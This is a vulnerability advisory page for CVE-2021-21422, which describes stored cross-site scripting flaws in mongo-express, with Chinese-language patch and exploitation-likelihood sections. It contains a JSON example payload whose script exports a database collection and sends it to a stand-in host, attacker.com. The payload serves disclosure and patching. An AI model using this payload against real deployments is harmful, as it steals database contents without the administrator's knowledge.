CVE-2021-21422
Cross-site scripting
描述
Two kinds of XSS were found: 1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. ### Impact As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload: ```JSON {"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" } ``` This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible. ### Patches Upgrade to `v1.0.0-alpha.4` ### For more information If you have any questions or comments about this advisory: * Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new) * Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)
如何修補 CVE-2021-21422
要修補 CVE-2021-21422,請將受影響套件升級到下列已修補版本。
- —升級至 1.0.0-alpha.4 或更新版本
CVE-2021-21422 正在被利用嗎?
低 — EPSS 為 1.6%,目前沒有觀察到大規模利用活動。
受影響套件(1)
- from 0, < 1.0.0-alpha.4